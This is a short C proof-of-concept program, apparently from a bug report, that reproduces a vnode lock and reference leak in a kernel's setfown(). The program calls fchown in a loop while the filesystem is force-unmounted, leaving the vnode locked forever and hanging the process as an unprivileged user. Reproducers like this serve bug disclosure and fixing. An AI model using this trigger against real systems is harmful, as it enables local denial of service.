DF-2550 / trigger.c
/* * DF-2550 trigger (poll-loop design): demonstrate the vnode lock+ref leak * in setfown() -- sys/kern/vfs_syscalls.c:3541-3543. * * setfown(): vget(vp, LK_EXCLUSIVE) [locks + refs] * VOP_GETATTR(vp) -> on failure: `return error` w/o vput * => exclusive lock + reference LEAKED * * We open a file on a tmpfs and call fchown(fd) in a tight loop. An external * actor (the driver, standing in for media-removal / NFS-death / admin * `umount -f`) force-unmounts the filesystem mid-loop. After that the vnode's * v_op becomes dead_vnode_vops, whose vop_getattr = vop_ebadf -> EBADF. * * Observable signature: * iteration N : fchown -> rc=0 (normal) * iteration N+1 : fchown -> rc=-1 errno=9 (EBADF) <- LEAK (vget ok, * VOP_GETATTR fails, * return w/o vput) * iteration N+2 : fchown -> HANGS forever <- DoS (vnode now * permanently locked * LK_EXCLUSIVE; vget * blocks on its own * leaked lock) * * Run as the unprivileged user (maxx, uid 1001). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { const char *path = argv[1]; int fd, rc, i; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 2; } fprintf(stderr, "[trigger] opened %s fd=%d uid=%d\n", path, fd, getuid()); for (i = 0; i < 200; i++) { errno = 0; rc = fchown(fd, -1, -1); fprintf(stderr, "[trigger] iter %d: fchown rc=%d errno=%d (%s)\n", i, rc, errno, rc ? strerror(errno) : "ok"); if (i > 3) usleep(300000); /* slow down once steady-state reached */ } fprintf(stderr, "[trigger] loop finished without hanging (bug NOT triggered)\n"); return 0; } |